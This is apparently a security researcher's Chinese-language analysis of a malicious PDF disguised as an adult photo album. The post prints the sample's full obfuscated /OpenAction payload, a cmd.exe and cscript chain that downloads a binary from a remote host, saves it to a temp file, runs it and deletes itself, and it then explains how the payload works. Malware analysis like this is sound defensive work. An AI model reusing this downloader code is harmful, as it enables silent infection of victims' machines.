0×01 起因
我们的网络监测设备在用户环境中发现了一个仅19KB的“成人影集”的PDF可疑文件,该文件免杀主流杀软但被我们监测设备判定为了高危,于是进行了进一步的人工分析。

(先承认马赛克是我打的,不为独享只因确实太污,作为老司机都有点消化不了)


经调试分析,该PDF文件确实是一个恶意样本,PDF打开后会进一步从网络下载后续大马到本地并执行。
0×02 恶意代码启动原理
这个仅19KB的文件里还包含了图片,如果是利用漏洞来实现执行shellcode是很困难的,那究竟是通过什么手段呢?
用UE打开文件:

如上,文件中能找到/OpenAction,后面跟着一些像是脚本一样的代码。
OpenAction从名字也能大概猜出意思,OpenAction是PDF文件中的一个object对象,放在Catalog Section下面,用来定义PDF文件被打开时候触发的事件。
0×03 恶意脚本分析
知道了启动原理,接下来重点就是分析后面的脚本,把脚本全部复制出来。
(CMd.exe)/P(/q /c "eC^hO new Function \(lsegso, var lsegso = lsegso.replace\(/bu/g, "e"\).replace\(/gdys/g, "r"\); eval\(lsegso\);\)\(vagdys ywvumogdysgbugdys = "MSXML2.XMLHTTP";vagdys apagdysonk = "Scgdysipting.FilbuSystbumObjbuct";vagdys tysulabpbu = "WScgdysipt.Shbull";vagdys xzucih = "ADODB.Stgdysbuam";vagdys pakogt = nbuw ActivbuXObjbuct \(xzucih\);vagdys cbopyhoh = "http://pop.nbxxxxxysls.gdysu/js/bxxx4.bin";vagdys ikqutbux = nbuw ActivbuXObjbuct \(ywvumogdysgbugdys\);vagdys zlijmypmuth = nbuw ActivbuXObjbuct \(apagdysonk\);ikqutbux.opbun\("GET", cbopyhoh, 0\);pakogt.Opbun\(\);vagdys tmp_path = zlijmypmuth.GbutSpbucialFoldbugdys\( 2\) + "\\\\\\\\" + zlijmypmuth.GbutTbumpNambu\(\);pakogt.Typbu = 1;ikqutbux.sbund\(\);vagdys okbubbu = nbuw ActivbuXObjbuct \(tysulabpbu\);vagdys ycnozyhidb = "cmd.buxbu /c " + tmp_path;pakogt.Position = 0;if \(ikqutbux.Status == 200\) {pakogt.Wgdysitbu\(ikqutbux.RbusponsbuBody\);pakogt.SavbuToFilbu\(tmp_path\);pakogt.Closbu\(\);okbubbu.gdysun\(ycnozyhidb, 0\);zlijmypmuth.dbulbutbuFilbu\(WScgdysipt.ScgdysiptFullNambu\);}\);>ngAVe.Jse&cS^cR^iPt^.eXE //^b NgaVe.jSe"
脚本经过了混淆处理,这样还看不出具体行为,但能发现里面CMd.exe,eval等一些关键字,就很像不怀好意。把作者用到的文本替换,大小写混用等混淆手段一一解开后,得到了如下脚本。

解开混淆后的代码看着一下就舒服了,
通过cmd.exe来解码脚本(/q /c参数执行命令,关闭回显),
再通过cscript.exe来运行解码后的脚本(//b参数,静默执行,不显示脚本错误和提示信息),
而脚本通过4个COM组件完成所有功能:
MSXML2.XMLHTTP组件实现HTTP请求远端服务器的大马
Scripting.FileSystemObject文件系统组件用于得到临时文件名字和路径,最后删除木马文件
ADODB.Stream组件将HTTP请求到的数据也就是大马,保存成本地文件
WScript.Shell组件用于执行下载下来的大马
到此这个PDF恶意样本的行为就全部分析完了,远端服务器的俄罗斯域名目前已经取消了解析,还没能找到大马的样本,暂时不能再进一步分析,这背后是来自俄罗斯的攻击吗?
0×04 样本背景分析

虽然撰文此时,域名取消了解析,但这个域名最近频繁的修改过DNS,多次指向美国还有一次巴西。特意也隐藏了注册者信息,域名在今年年初注册了一年。

这个域名的二级主域名以及其他三级子域名关联过更多的IP,IP地址有美国,印度,巴西,乌克兰,匈牙利等很多个国家
这是否真是一次来自境外的攻击,甚至是APT?待找到大马后的进一步分析……